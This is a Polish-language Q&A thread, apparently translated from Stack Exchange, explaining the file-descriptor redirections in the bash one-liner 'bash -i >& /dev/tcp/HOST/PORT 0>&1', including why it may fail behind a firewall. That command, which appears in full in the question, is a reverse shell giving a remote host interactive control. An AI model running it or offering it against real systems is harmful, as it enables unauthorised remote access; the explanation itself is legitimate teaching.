Znaczenie bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

próbowałem

bash -i >& /dev/tcp/HOST/PORT 0>&1

ale wydaje się, że nie działa za zaporami ogniowymi. Co tak naprawdę robi ten kod, które porty są przekazywane i czy może działać za zaporami ogniowymi?

Helos
źródło

Odpowiedzi:

17

Ten fragment kodu uruchamia nową interaktywną instancję bash ( bash -i) na połączeniu TCP z określonym portem na określonym hoście, który jest tworzony na czas trwania procesu bash. Standardowe dane wyjściowe i standardowy błąd są wysyłane przez to połączenie ( >& /dev/tcp/HOST/PORT), a standardowe dane wejściowe są odczytywane przez to połączenie ( 0>&1- powinno być, 0<&1ale 0>&1też działa).

Nie odbywa się przekierowanie portów. Oczywiście, jakiś serwer TCP musi nasłuchiwać i akceptować połączenia na tym HOST: PORT, a zapora ogniowa musi przepuścić połączenie.

Gilles „SO- przestań być zły”
źródło
Jakie połączenie to „/ dev / tcp / HOST / PORT” Gdzie jest zdefiniowany host i gdzie jest zdefiniowany port?
Helos
2
@Helos Czy dosłownie widziałeś /dev/tcp/HOST/PORT? Zakładałem, że zastąpiłeś imię HOSTi numer przez PORT. W przeciwnym razie otrzymasz komunikat o błędzie z bash. Ponieważ nie wspomniałeś o żadnym komunikacie o błędzie, zakładam, że go nie widziałeś.
Gilles „SO- przestań być zły”
1
@Gilles, nie mogę strawić tej 0<&1części. Przeczytałem go jako „weź bash stdout ( &1) i potokuj go do bash stdin ( 0)”, co ma sens. Czy możesz wyjaśnić, jak działa ta część?
golem
5
@golem To jest przekierowanie. Nie jest zaangażowana żadna rura. 0<&1oznacza połączenie tego, co jest aktualnie otwarte w deskryptorze pliku 1, z deskryptorem pliku 0. Ponieważ poprzednie przekierowanie >& /dev/tcp/HOST/PORTpołączyło fd 1 (domyślnie dla przekierowania wyjściowego) z /dev/tcp/HOST/PORT, tj. otworzyło gniazdo TCP, duplikuje połączenie TCP do deskryptora pliku 0 (tj. to samo gniazdo jest teraz otwarte również na fd 0, różni się to od 0 </ dev / tcp / HOST / PORT, który otworzyłby inne gniazdo dla tego samego serwera).
Gilles „SO- przestań być zły”
Łączenie było moim zdaniem słowem kluczowym; wywoływanie procesu instalacji było rzeczywiście tym, co mnie dezorientowało.
golem